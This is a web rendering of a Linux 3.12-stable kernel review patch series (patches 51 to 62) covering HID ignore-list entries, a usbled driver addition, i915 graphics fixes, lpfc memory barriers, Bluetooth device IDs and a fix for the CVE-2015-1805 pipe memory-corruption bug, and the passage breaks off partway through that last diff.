The board reports itself as (10c4:8244) Cygnal Integrated Products, Inc. and misidentifies itself as a HID device in its USB interface descriptor. This patch ignores this device as an HID device and hence loads the custom driver.
--- drivers/hid/hid-core.c | 1 + drivers/hid/hid-ids.h | 2 ++ 2 files changed, 3 insertions(+)
drivers/hid/hid-core.c +1 -0
@@ -2148,6 +2148,7 @@ static const struct hid_device_id hid_ignore_list[] = { { HID_USB_DEVICE(USB_VENDOR_ID_BERKSHIRE, USB_DEVICE_ID_BERKSHIRE_PCWD) }, { HID_USB_DEVICE(USB_VENDOR_ID_CIDC, 0x0103) }, { HID_USB_DEVICE(USB_VENDOR_ID_CYGNAL, USB_DEVICE_ID_CYGNAL_RADIO_SI470X) }, + { HID_USB_DEVICE(USB_VENDOR_ID_CYGNAL, USB_DEVICE_ID_CYGNAL_RADIO_SI4713) }, { HID_USB_DEVICE(USB_VENDOR_ID_CMEDIA, USB_DEVICE_ID_CM109) }, { HID_USB_DEVICE(USB_VENDOR_ID_CYPRESS, USB_DEVICE_ID_CYPRESS_HIDCOM) }, { HID_USB_DEVICE(USB_VENDOR_ID_CYPRESS, USB_DEVICE_ID_CYPRESS_ULTRAMOUSE) },
drivers/hid/hid-ids.h +2 -0
@@ -242,6 +242,8 @@#define USB_VENDOR_ID_CYGNAL 0x10c4#define USB_DEVICE_ID_CYGNAL_RADIO_SI470X 0x818a +#define USB_DEVICE_ID_CYGNAL_RADIO_SI4713 0x8244 +#define USB_VENDOR_ID_CYPRESS 0x04b4#define USB_DEVICE_ID_CYPRESS_MOUSE 0x0001#define USB_DEVICE_ID_CYPRESS_HIDCOM 0x5500
Signature · 1 line
2.4.6
PATCH 51/124 HID: ignore jabra gn9350e
In reply to Jiri SlabyFrom: Patrick Plattes <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 43c1a0a9db2d9213812766065f6a07a215ed70ad upstream.
Ignore Jabra GN9350E HID interface. USB audio is working nicely, but registering as HID blocks USB mouse buttons. Since special userspace programs are needed we will avoid attaching usbhid drivers in general.
--- drivers/hid/hid-core.c | 1 + drivers/hid/hid-ids.h | 1 + 2 files changed, 2 insertions(+)
drivers/hid/hid-core.c +1 -0
@@ -2227,6 +2227,7 @@ static const struct hid_device_id hid_ignore_list[] = { { HID_USB_DEVICE(USB_VENDOR_ID_IMATION, USB_DEVICE_ID_DISC_STAKKA) }, { HID_USB_DEVICE(USB_VENDOR_ID_JABRA, USB_DEVICE_ID_JABRA_SPEAK_410) }, { HID_USB_DEVICE(USB_VENDOR_ID_JABRA, USB_DEVICE_ID_JABRA_SPEAK_510) }, + { HID_USB_DEVICE(USB_VENDOR_ID_JABRA, USB_DEVICE_ID_JABRA_GN9350E) }, { HID_USB_DEVICE(USB_VENDOR_ID_KBGEAR, USB_DEVICE_ID_KBGEAR_JAMSTUDIO) }, { HID_USB_DEVICE(USB_VENDOR_ID_KWORLD, USB_DEVICE_ID_KWORLD_RADIO_FM700) }, { HID_USB_DEVICE(USB_VENDOR_ID_KYE, USB_DEVICE_ID_KYE_GPEN_560) },
drivers/hid/hid-ids.h +1 -0
@@ -481,6 +481,7 @@#define USB_VENDOR_ID_JABRA 0x0b0e#define USB_DEVICE_ID_JABRA_SPEAK_410 0x0412#define USB_DEVICE_ID_JABRA_SPEAK_510 0x0420 +#define USB_DEVICE_ID_JABRA_GN9350E 0x9350#define USB_VENDOR_ID_JESS 0x0c45#define USB_DEVICE_ID_JESS_YUREX 0x1010
Signature · 1 line
2.4.6
PATCH 52/124 HID: do not bind to Microchip Pick16F1454
In reply to Jiri SlabyFrom: Kristian Evensen <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit a8c8316b11594e616df641b4b19ec9da732f93df upstream.
The Microchip Pick16F1454 is exported as a HID device and is used by for example the Yepkit YKUSH three-port switchable USB hub. However, it is not an actual HID-device. On the Yepkit, it is used to power up/down the ports on the hub. The HID driver should ignore this device.
--- drivers/hid/hid-core.c | 1 + drivers/hid/hid-ids.h | 1 + 2 files changed, 2 insertions(+)
drivers/hid/hid-core.c +1 -0
@@ -2269,6 +2269,7 @@ static const struct hid_device_id hid_ignore_list[] = { { HID_USB_DEVICE(USB_VENDOR_ID_MCC, USB_DEVICE_ID_MCC_PMD1208LS) }, { HID_USB_DEVICE(USB_VENDOR_ID_MICROCHIP, USB_DEVICE_ID_PICKIT1) }, { HID_USB_DEVICE(USB_VENDOR_ID_MICROCHIP, USB_DEVICE_ID_PICKIT2) }, + { HID_USB_DEVICE(USB_VENDOR_ID_MICROCHIP, USB_DEVICE_ID_PICK16F1454) }, { HID_USB_DEVICE(USB_VENDOR_ID_NATIONAL_SEMICONDUCTOR, USB_DEVICE_ID_N_S_HARMONY) }, { HID_USB_DEVICE(USB_VENDOR_ID_ONTRAK, USB_DEVICE_ID_ONTRAK_ADU100) }, { HID_USB_DEVICE(USB_VENDOR_ID_ONTRAK, USB_DEVICE_ID_ONTRAK_ADU100 + 20) },
drivers/hid/hid-ids.h +1 -0
@@ -618,6 +618,7 @@#define USB_DEVICE_ID_PICKIT2 0x0033#define USB_DEVICE_ID_PICOLCD 0xc002#define USB_DEVICE_ID_PICOLCD_BOOTLOADER 0xf002 +#define USB_DEVICE_ID_PICK16F1454 0x0042#define USB_VENDOR_ID_MICROSOFT 0x045e#define USB_DEVICE_ID_SIDEWINDER_GV 0x003b
Signature · 1 line
2.4.6
PATCH 53/124 usb/misc/usbled: Add Riso Kagaku Webmail Notifier
In reply to Jiri SlabyFrom: Christian Vogel <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit e8fcbb61405997f03b9e127806db620c7cfb9909 upstream.
Add support for the "Webmail Notifier" (USB powered LED for signaling new emails) made by Riso Kagaku Corp. which displays 7 distinct colors.
USB Protocol initially reverse engineered by
https://code.google.com/p/usbmailnotifier/.
--- drivers/usb/misc/usbled.c | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+)
drivers/usb/misc/usbled.c +34 -0
@@ -23,8 +23,27 @@enum led_type {DELCOM_VISUAL_SIGNAL_INDICATOR ,DREAM_CHEEKY_WEBMAIL_NOTIFIER , +RISO_KAGAKU_LED }; +/* the Webmail LED made by RISO KAGAKU CORP. decodes a color index +internally, we want to keep the red+green+blue sysfs api, so we decode +from 1-bit RGB to the riso kagaku color index according to this table... */ + +static unsigned const char riso_kagaku_tbl[] = { +/* R+2G+4B -> riso kagaku color index */ + [0 ] =0 ,/* black */ + [1 ] =2 ,/* red */ + [2 ] =1 ,/* green */ + [3 ] =5 ,/* yellow */ + [4 ] =3 ,/* blue */ + [5 ] =6 ,/* magenta */ + [6 ] =4 ,/* cyan */ + [7 ] =7 /* white */ +}; + +#define RISO_KAGAKU_IX (r,g,b) riso_kagaku_tbl[((r)?1:0)+((g)?2:0)+((b)?4:0)] +/* table of devices that work with this driver */ static const struct usb_device_id id_table[] = { {USB_DEVICE (0x0fc5 ,0x1223 ),
@@ -33,6 +52,8 @@ static const struct usb_device_id id_table[] = { .driver_info = DREAM_CHEEKY_WEBMAIL_NOTIFIER }, { USB_DEVICE(0x1d34, 0x000a), .driver_info = DREAM_CHEEKY_WEBMAIL_NOTIFIER }, + { USB_DEVICE(0x1294, 0x1320), + .driver_info = RISO_KAGAKU_LED }, { }, };MODULE_DEVICE_TABLE (usb, id_table);
@@ -49,6 +70,7 @@ static void change_color(struct usb_led *led) {int retval =0 ;unsigned char *buffer; +int actlength; buffer =kmalloc (8 ,GFP_KERNEL );if (!buffer) {
@@ -105,6 +127,18 @@ static void change_color(struct usb_led *led) 2000);break ; +case RISO_KAGAKU_LED : + buffer[0 ] =RISO_KAGAKU_IX (led->red, led->green, led->blue); + buffer[1 ] =0 ; + buffer[2 ] =0 ; + buffer[3 ] =0 ; + buffer[4 ] =0 ; + + retval =usb_interrupt_msg (led->udev, +usb_sndctrlpipe (led->udev,2 ), + buffer,5 , &actlength,1000 /*ms timeout*/ ); +break ; +default :dev_err (&led->udev->dev,"unknown device type %d\n" , led->type); }
Signature · 1 line
2.4.6
PATCH 54/124 usbhid/quirks: Ignore Riso Kagaku Webmail Notifier
In reply to Jiri SlabyFrom: Christian Vogel <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 759db9ead2c064203e9cb46bfff7c8ef25417b65 upstream.
The "Webmail Notifier" is a USB controlled LED that appears as a HID device. When trying to change the LED via hidraw it returns malformed reports. As "usbled" supports it, we blacklist it in usbhid.
--- drivers/hid/hid-core.c | 1 + drivers/hid/hid-ids.h | 3 +++ 2 files changed, 4 insertions(+)
drivers/hid/hid-core.c +1 -0
@@ -2307,6 +2307,7 @@ static const struct hid_device_id hid_ignore_list[] = { { HID_USB_DEVICE(USB_VENDOR_ID_WISEGROUP, USB_DEVICE_ID_1_PHIDGETSERVO_20) }, { HID_USB_DEVICE(USB_VENDOR_ID_WISEGROUP, USB_DEVICE_ID_8_8_4_IF_KIT) }, { HID_USB_DEVICE(USB_VENDOR_ID_YEALINK, USB_DEVICE_ID_YEALINK_P1K_P4K_B2K) }, + { HID_USB_DEVICE(USB_VENDOR_ID_RISO_KAGAKU, USB_DEVICE_ID_RI_KA_WEBMAIL) }, { } };
drivers/hid/hid-ids.h +3 -0
@@ -978,4 +978,7 @@#define USB_DEVICE_ID_PRIMAX_KEYBOARD 0x4e05 +#define USB_VENDOR_ID_RISO_KAGAKU 0x1294/* Riso Kagaku Corp. */ +#define USB_DEVICE_ID_RI_KA_WEBMAIL 0x1320/* Webmail Notifier */ +#endif
Signature · 1 line
2.4.6
PATCH 55/124 drm/i915: drop WaSetupGtModeTdRowDispatch:snb
In reply to Jiri SlabyFrom: Daniel Vetter <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 2208d655a91f9879bd9a39ff9df05dd668b3512c upstream.
This reverts the regressing
commit 6547fbdbfff62c99e4f7b4f985ff8b3454f33b0f
Author: Daniel Vetter <[email protected]> Date: Fri Dec 14 23:38:29 2012 +0100
drm/i915: Implement WaSetupGtModeTdRowDispatch
that causes GPU hangs immediately on boot.
Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=79996
--- drivers/gpu/drm/i915/intel_pm.c | 5 ----- 1 file changed, 5 deletions(-)
drivers/gpu/drm/i915/intel_pm.c +0 -5
@@ -4823,11 +4823,6 @@ static void gen6_init_clock_gating(struct drm_device *dev)I915_WRITE (_3D_CHICKEN,_MASKED_BIT_ENABLE (_3D_CHICKEN_HIZ_PLANE_DISABLE_MSAA_4X_SNB)); -/* WaSetupGtModeTdRowDispatch:snb */ -if (IS_SNB_GT1 (dev)) -I915_WRITE (GEN6_GT_MODE , -_MASKED_BIT_ENABLE (GEN6_TD_FOUR_ROW_DISPATCH_DISABLE )); -I915_WRITE (WM3_LP_ILK ,0 );I915_WRITE (WM2_LP_ILK ,0 );I915_WRITE (WM1_LP_ILK ,0 );
Signature · 1 line
2.4.6
PATCH 56/124 drm/i915: Handle failure to kick out a conflicting fb driver
In reply to Jiri SlabyFrom: Chris Wilson <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit f96de58fc7e7d3d717c7c63975c3b896c906b5e3 upstream.
--- drivers/gpu/drm/i915/i915_dma.c | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-)
drivers/gpu/drm/i915/i915_dma.c +14 -5
@@ -1406,15 +1406,16 @@ void i915_master_destroy(struct drm_device *dev, struct drm_master *master) master->driver_priv =NULL ; } -static void i915_kick_out_firmware_fb (struct drm_i915_private *dev_priv) +static int i915_kick_out_firmware_fb (struct drm_i915_private *dev_priv) {struct apertures_struct *ap;struct pci_dev *pdev = dev_priv->dev->pdev;bool primary; +int ret; ap =alloc_apertures (1 );if (!ap) -return ; +return -ENOMEM ; ap->ranges[0 ].base = dev_priv->gtt.mappable_base; ap->ranges[0 ].size = dev_priv->gtt.mappable_end;
@@ -1422,9 +1423,11 @@ static void i915_kick_out_firmware_fb(struct drm_i915_private *dev_priv) primary = pdev->resource[PCI_ROM_RESOURCE ].flags &IORESOURCE_ROM_SHADOW ; -remove_conflicting_framebuffers (ap,"inteldrmfb" , primary); + ret =remove_conflicting_framebuffers (ap,"inteldrmfb" , primary);kfree (ap); + +return ret; }static void i915_dump_device_info (struct drm_i915_private *dev_priv)
@@ -1553,8 +1556,13 @@ int i915_driver_load(struct drm_device *dev, unsigned long flags)if (ret) goto put_bridge; -if (drm_core_check_feature (dev,DRIVER_MODESET )) -i915_kick_out_firmware_fb (dev_priv); +if (drm_core_check_feature (dev,DRIVER_MODESET )) { + ret =i915_kick_out_firmware_fb (dev_priv); +if (ret) { +DRM_ERROR ("failed to remove conflicting framebuffer drivers\n" ); + goto out_gtt; + } + }pci_set_master (dev->pdev);
@@ -1688,6 +1696,7 @@ out_gem_unload: out_mtrrfree:arch_phys_wc_del (dev_priv->gtt.mtrr);io_mapping_free (dev_priv->gtt.mappable); +out_gtt: dev_priv->gtt.base.cleanup (&dev_priv->gtt.base); out_rmmap:pci_iounmap (dev->pdev, dev_priv->regs);
Signature · 1 line
2.4.6
PATCH 57/124 drm/i915: save/restore GMBUS freq across suspend/resume on gen4
In reply to Jiri SlabyFrom: Jesse Barnes <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 9f49c37635d5c2a801f7670d5fbf0b25ec461f2c upstream.
Should probably just init this in the GMbus code all the time, based on the cdclk and HPLL like we do on newer platforms. Ville has code for that in a rework branch, but until then we can fix this bug fairly easily.
Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=76301
--- drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_reg.h | 1 + drivers/gpu/drm/i915/i915_suspend.c | 8 ++++++++ 3 files changed, 10 insertions(+)
drivers/gpu/drm/i915/i915_drv.h +1 -0
@@ -817,6 +817,7 @@ struct i915_suspend_saved_registers {u32 savePIPEB_LINK_N1;u32 saveMCHBAR_RENDER_STANDBY;u32 savePCH_PORT_HOTPLUG; +u16 saveGCDGMBUS; };struct intel_gen6_power_mgmt {
drivers/gpu/drm/i915/i915_reg.h +1 -0
@@ -72,6 +72,7 @@#define I915_GC_RENDER_CLOCK_166_MHZ (0 << 0)#define I915_GC_RENDER_CLOCK_200_MHZ (1 << 0)#define I915_GC_RENDER_CLOCK_333_MHZ (4 << 0) +#define GCDGMBUS 0xcc#define LBB 0xf4/* Graphics reset regs */
drivers/gpu/drm/i915/i915_suspend.c +8 -0
@@ -366,6 +366,10 @@ int i915_save_state(struct drm_device *dev)intel_disable_gt_powersave (dev); +if (IS_GEN4 (dev)) +pci_read_config_word (dev->pdev,GCDGMBUS , + &dev_priv->regfile.saveGCDGMBUS); +/* Cache mode state */ dev_priv->regfile.saveCACHE_MODE_0 =I915_READ (CACHE_MODE_0 );
@@ -413,6 +417,10 @@ int i915_restore_state(struct drm_device *dev) } } +if (IS_GEN4 (dev)) +pci_read_config_word (dev->pdev,GCDGMBUS , + &dev_priv->regfile.saveGCDGMBUS); +/* Cache mode state */ I915_WRITE (CACHE_MODE_0 , dev_priv->regfile.saveCACHE_MODE_0 |0xffff0000 );
Signature · 1 line
2.4.6
PATCH 58/124 drm/i915: Evict CS TLBs between batches
In reply to Jiri SlabyFrom: Chris Wilson <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit c4d69da167fa967749aeb70bc0e94a457e5d00c1 upstream.
Running igt, I was encountering the invalid TLB bug on my 845g, despite that it was using the CS workaround. Examining the w/a buffer in the error state, showed that the copy from the user batch into the workaround itself was suffering from the invalid TLB bug (the first cacheline was broken with the first two words reversed). Time to try a fresh approach. This extends the workaround to write into each page of our scratch buffer in order to overflow the TLB and evict the invalid entries. This could be refined to only do so after we update the GTT, but for simplicity, we do it before each batch.
I suspect this supersedes our current workaround, but for safety keep doing both.
V2: The magic number shall be 2.
This doesn't conclusively prove that it is the mythical TLB bug we've been trying to workaround for so long, that it requires touching a number of pages to prevent the corruption indicates to me that it is TLB related, but the corruption (the reversed cacheline) is more subtle than a TLB bug, where we would expect it to read the wrong page entirely.
Oh well, it prevents a reliable hang for me and so probably for others as well.
--- drivers/gpu/drm/i915/i915_reg.h | 12 ++++-- drivers/gpu/drm/i915/intel_ringbuffer.c | 66 +++++++++++++++++++-------------- 2 files changed, 47 insertions(+), 31 deletions(-)
drivers/gpu/drm/i915/i915_reg.h +8 -4
@@ -290,16 +290,20 @@#define GFX_OP_DESTBUFFER_INFO ((0x3<<29)|(0x1d<<24)|(0x8e<<16)|1)#define GFX_OP_DRAWRECT_INFO ((0x3<<29)|(0x1d<<24)|(0x80<<16)|(0x3))#define GFX_OP_DRAWRECT_INFO_I965 ((0x7900<<16)|0x2) -#define SRC_COPY_BLT_CMD ((2<<29)|(0x43<<22)|4) + +#define COLOR_BLT_CMD (2<<29 | 0x40<<22 | (5-2)) +#define SRC_COPY_BLT_CMD ((2<<29)|(0x43<<22)|4)#define XY_SRC_COPY_BLT_CMD ((2<<29)|(0x53<<22)|6)#define XY_MONO_SRC_COPY_IMM_BLT ((2<<29)|(0x71<<22)|5) -#define XY_SRC_COPY_BLT_WRITE_ALPHA (1<<21) -#define XY_SRC_COPY_BLT_WRITE_RGB (1<<20) +#define BLT_WRITE_A (2<<20) +#define BLT_WRITE_RGB (1<<20) +#define BLT_WRITE_RGBA (BLT_WRITE_RGB | BLT_WRITE_A)#define BLT_DEPTH_8 (0<<24)#define BLT_DEPTH_16_565 (1<<24)#define BLT_DEPTH_16_1555 (2<<24)#define BLT_DEPTH_32 (3<<24) -#define BLT_ROP_GXCOPY (0xcc<<16) +#define BLT_ROP_SRC_COPY (0xcc<<16) +#define BLT_ROP_COLOR_COPY (0xf0<<16)#define XY_SRC_COPY_BLT_SRC_TILED (1<<15)/* 965+ only */ #define XY_SRC_COPY_BLT_DST_TILED (1<<11)/* 965+ only */ #define CMD_OP_DISPLAYBUFFER_INFO ((0x0<<29)|(0x14<<23)|2)
drivers/gpu/drm/i915/intel_ringbuffer.c +39 -27
100 lines not on this page · raw message
Signature · 1 line
2.4.6
PATCH 59/124 lpfc: Add iotag memory barrier
In reply to Jiri SlabyFrom: James Smart <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 27f344eb15dd0da80ebec80c7245e8c85043f841 upstream.
Add a memory barrier to ensure the valid bit is read before any of the cqe payload is read. This fixes an issue seen on Power where the cqe payload was getting loaded before the valid bit. When this occurred, we saw an iotag out of range error when a command completed, but since the iotag looked invalid the command didn't get completed to scsi core. Later we hit the command timeout, attempted to abort the command, then waited for the aborted command to get returned. Since the adapter already returned the command, we timeout waiting, and end up escalating EEH all the way to host reset. This patch fixes this issue.
---
lpfc_sli.c | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+)
--- drivers/scsi/lpfc/lpfc_sli.c | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+)
drivers/scsi/lpfc/lpfc_sli.c +21 -0
@@ -263,6 +263,16 @@ lpfc_sli4_eq_get(struct lpfc_queue *q)return NULL ; q->hba_index = idx; + +/* +* insert barrier for instruction interlock : data from the hardware +* must have the valid bit checked before it can be copied and acted +* upon. Given what was seen in lpfc_sli4_cq_get() of speculative +* instructions allowing action on content before valid bit checked, +* add barrier here as well. May not be needed as "content" is a +* single 32-bit entity here (vs multi word structure for cq's). +*/ +mb ();return eqe; }
@@ -368,6 +378,17 @@ lpfc_sli4_cq_get(struct lpfc_queue *q) cqe = q->qe[q->hba_index].cqe; q->hba_index = idx; + +/* +* insert barrier for instruction interlock : data from the hardware +* must have the valid bit checked before it can be copied and acted +* upon. Speculative instructions were allowing a bcopy at the start +* of lpfc_sli4_fp_handle_wcqe(), which is called immediately +* after our return, to copy data before the valid bit check above +* was done. As such, some of the copied data was stale. The barrier +* ensures the check is before any data is copied. +*/ +mb ();return cqe; }
Signature · 1 line
2.4.6
PATCH 60/124 ath3k: Add support of 0489:e076 AR3012 device
In reply to Jiri SlabyFrom: Dmitry Tunin <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 692c062e7c282164fd7cda68077f79dafd176eaf upstream.
This device requires new firmware files
AthrBT_0x11020100.dfu and ramps_0x11020100_40.dfu added to/lib/firmware/ar3k/ that are not included in linux-firmware yet.
T: Bus=03 Lev=01 Prnt=01 Port=09 Cnt=06 Dev#= 7 Spd=12 MxCh= 0
D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1
P: Vendor=0489 ProdID=e076 Rev= 0.01
C:* #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA
I:* If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=81(I) Atr=03(Int.) MxPS= 16 Ivl=1ms
E: Ad=82(I) Atr=02(Bulk) MxPS= 64 Ivl=0ms
E: Ad=02(O) Atr=02(Bulk) MxPS= 64 Ivl=0ms
I:* If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 0 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 0 Ivl=1ms
I: If#= 1 Alt= 1 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 9 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 9 Ivl=1ms
I: If#= 1 Alt= 2 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 17 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 17 Ivl=1ms
I: If#= 1 Alt= 3 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 25 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 25 Ivl=1ms
I: If#= 1 Alt= 4 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 33 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 33 Ivl=1ms
I: If#= 1 Alt= 5 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=(none)
E: Ad=83(I) Atr=01(Isoc) MxPS= 49 Ivl=1ms
E: Ad=03(O) Atr=01(Isoc) MxPS= 49 Ivl=1ms
--- drivers/bluetooth/ath3k.c | 2 ++ drivers/bluetooth/btusb.c | 1 + 2 files changed, 3 insertions(+)
drivers/bluetooth/ath3k.c +2 -0
@@ -80,6 +80,7 @@ static struct usb_device_id ath3k_table[] = { { USB_DEVICE(0x0489, 0xe057) }, { USB_DEVICE(0x0489, 0xe056) }, { USB_DEVICE(0x0489, 0xe05f) }, + { USB_DEVICE(0x0489, 0xe076) }, { USB_DEVICE(0x0489, 0xe078) }, { USB_DEVICE(0x04c5, 0x1330) }, { USB_DEVICE(0x04CA, 0x3004) },
@@ -135,6 +136,7 @@ static struct usb_device_id ath3k_blist_tbl[] = { { USB_DEVICE(0x0489, 0xe056), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0489, 0xe057), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0489, 0xe05f), .driver_info = BTUSB_ATH3012 }, + { USB_DEVICE(0x0489, 0xe076), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0489, 0xe078), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x04c5, 0x1330), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x04ca, 0x3004), .driver_info = BTUSB_ATH3012 },
drivers/bluetooth/btusb.c +1 -0
@@ -157,6 +157,7 @@ static struct usb_device_id blacklist_table[] = { { USB_DEVICE(0x0489, 0xe056), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0489, 0xe057), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0489, 0xe05f), .driver_info = BTUSB_ATH3012 }, + { USB_DEVICE(0x0489, 0xe076), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0489, 0xe078), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x04c5, 0x1330), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x04ca, 0x3004), .driver_info = BTUSB_ATH3012 },
Signature · 1 line
2.4.6
PATCH 61/124 ath3k: add support of 13d3:3474 AR3012 device
In reply to Jiri SlabyFrom: Dmitry Tunin <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 0d0cef6183aec0fb6d0c9f00a09ff51ee086bbe2 upstream.
This device requires new firmware files
AthrBT_0x11020100.dfu and ramps_0x11020100_40.dfu added to/lib/firmware/ar3k/ that are not included in linux-firmware yet.
T: Bus=01 Lev=01 Prnt=01 Port=04 Cnt=01 Dev#= 4 Spd=12 MxCh= 0
D: Ver= 1.10 Cls=e0(wlcon) Sub=01 Prot=01 MxPS=64 #Cfgs= 1
P: Vendor=13d3 ProdID=3474 Rev=00.01
C: #Ifs= 2 Cfg#= 1 Atr=e0 MxPwr=100mA
I: If#= 0 Alt= 0 #EPs= 3 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
I: If#= 1 Alt= 0 #EPs= 2 Cls=e0(wlcon) Sub=01 Prot=01 Driver=btusb
--- drivers/bluetooth/ath3k.c | 2 ++ drivers/bluetooth/btusb.c | 1 + 2 files changed, 3 insertions(+)
drivers/bluetooth/ath3k.c +2 -0
@@ -112,6 +112,7 @@ static struct usb_device_id ath3k_table[] = { { USB_DEVICE(0x13d3, 0x3408) }, { USB_DEVICE(0x13d3, 0x3423) }, { USB_DEVICE(0x13d3, 0x3432) }, + { USB_DEVICE(0x13d3, 0x3474) },/* Atheros AR5BBU12 with sflash firmware */ { USB_DEVICE(0x0489, 0xE02C) },
@@ -168,6 +169,7 @@ static struct usb_device_id ath3k_blist_tbl[] = { { USB_DEVICE(0x13d3, 0x3408), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x13d3, 0x3423), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x13d3, 0x3432), .driver_info = BTUSB_ATH3012 }, + { USB_DEVICE(0x13d3, 0x3474), .driver_info = BTUSB_ATH3012 }, /* Atheros AR5BBU22 with sflash firmware */ { USB_DEVICE(0x0489, 0xE036), .driver_info = BTUSB_ATH3012 },
drivers/bluetooth/btusb.c +1 -0
@@ -189,6 +189,7 @@ static struct usb_device_id blacklist_table[] = { { USB_DEVICE(0x13d3, 0x3408), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x13d3, 0x3423), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x13d3, 0x3432), .driver_info = BTUSB_ATH3012 }, + { USB_DEVICE(0x13d3, 0x3474), .driver_info = BTUSB_ATH3012 }, /* Atheros AR5BBU12 with sflash firmware */ { USB_DEVICE(0x0489, 0xe02c), .driver_info = BTUSB_IGNORE },
Signature · 1 line
2.4.6
PATCH 62/124 pipe: iovec: Fix memory corruption when retrying atomic copy as non-atomic
In reply to Jiri SlabyFrom: Ben Hutchings <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
pipe_iov_copy_{from,to}_user() may be tried twice with the same iovec, the first time atomically and the second time not. The second attempt needs to continue from the iovec position, pipe buffer offset and remaining length where the first attempt failed, but currently the pipe buffer offset and remaining length are reset. This will corrupt the piped data (possibly also leading to an information leak between processes) and may also corrupt kernel memory.
This was fixed upstream by commits f0d1bec9d58d ("new helper:copy_page_from_iter()") and 637b58c2887e ("switch pipe_read() to copy_page_to_iter()"), but those aren't suitable for stable. This fix for older kernel versions was made by Seth Jennings for RHEL and I have extracted it from their update.
CVE-2015-1805
References: https://bugzilla.redhat.com/show_bug.cgi?id=1202855
--- fs/pipe.c | 55 ++++++++++++++++++++++++++++++++----------------------- 1 file changed, 32 insertions(+), 23 deletions(-)
fs/pipe.c +32 -23
@@ -117,25 +117,27 @@ void pipe_wait(struct pipe_inode_info *pipe) }static int -pipe_iov_copy_from_user (void *to,struct iovec *iov,unsigned long len, -int atomic) +pipe_iov_copy_from_user (void *addr,int *offset,struct iovec *iov, +size_t *remaining,int atomic) {unsigned long copy; -while (len >0 ) { +while (*remaining >0 ) {while (!iov->iov_len) iov++; - copy = min_t(unsigned long, len, iov->iov_len); + copy = min_t(unsigned long, *remaining, iov->iov_len);if (atomic) { -if (__copy_from_user_inatomic (to, iov->iov_base, copy)) +if (__copy_from_user_inatomic (addr + *offset, + iov->iov_base, copy))return -EFAULT ; }else { -if (copy_from_user (to, iov->iov_base, copy)) +if (copy_from_user (addr + *offset, + iov->iov_base, copy))return -EFAULT ; } - to += copy; - len -= copy; + *offset += copy; + *remaining -= copy; iov->iov_base += copy; iov->iov_len -= copy; }
@@ -143,25 +145,27 @@ pipe_iov_copy_from_user(void *to, struct iovec *iov, unsigned long len, }static int -pipe_iov_copy_to_user (struct iovec *iov,const void *from,unsigned long len, -int atomic) +pipe_iov_copy_to_user (struct iovec *iov,void *addr,int *offset, +size_t *remaining,int atomic) {unsigned long copy; -while (len >0 ) { +while (*remaining >0 ) {while (!iov->iov_len) iov++; - copy = min_t(unsigned long, len, iov->iov_len); + copy = min_t(unsigned long, *remaining, iov->iov_len);if (atomic) { -if (__copy_to_user_inatomic (iov->iov_base, from, copy)) +if (__copy_to_user_inatomic (iov->iov_base, + addr + *offset, copy))return -EFAULT ; }else { -if (copy_to_user (iov->iov_base, from, copy)) +if (copy_to_user (iov->iov_base, + addr + *offset, copy))return -EFAULT ; } - from += copy; - len -= copy; + *offset += copy; + *remaining -= copy; iov->iov_base += 